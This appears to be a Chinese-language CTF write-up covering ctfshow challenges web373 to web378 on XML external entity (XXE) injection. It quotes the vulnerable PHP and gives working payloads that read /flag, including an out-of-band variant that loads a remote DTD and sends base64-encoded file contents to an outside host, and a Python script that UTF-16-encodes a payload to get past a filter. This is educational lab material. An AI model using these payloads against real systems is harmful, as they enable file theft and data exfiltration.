web 373
flag的位置是/flag
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
分析一下,可以post传入xml文件赋给$xmlfile,没有过滤,会将<ctfshow>
标签中的内容进行回显
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY file SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&file;</ctfshow>
</creds>
web 374
error_reporting(0);
libxml_disable_entity_loader(false); # 表示可以加载外部实体
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这次没有回显内容
没有回显的话,我们想办法把数据外带出来,看看可不可以发起http请求,访问我们的服务器,就会留下记录
这里我是用的花生壳进行内网穿透
<!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///flag'>
<!ENTITY % int "<!ENTITY % send SYSTEM 'https://huashengke.fun?flag=%file;'>">
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>
base64解码后,成功获取的flag
web 375
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
post传参不能有<?xml version="1\.0"
我们传入的是DTD,并不是XML, 尝试一下
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>
web 376
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>
web 377
看了其他师傅的绕过http关键字检测的方法,可以将payload进行utf-16编码后再发送
import requests
url = 'http://3a3ebdff-b280-4874-a929-da8fe33ba62a.challenge.ctf.show/'
payload = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>"""
payload = payload.encode('utf-16')
requests.post(url, data=payload)
web 378
一个登录框,admin,admin登录
请求,响应的数据貌似都是xml格式的数据昂
并且会将username的值进行回显
那我们构造一个xml格式的payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>
dtd去读取flag,并解析到<username>
标签中,将flag回显到页面
Comments NOTHING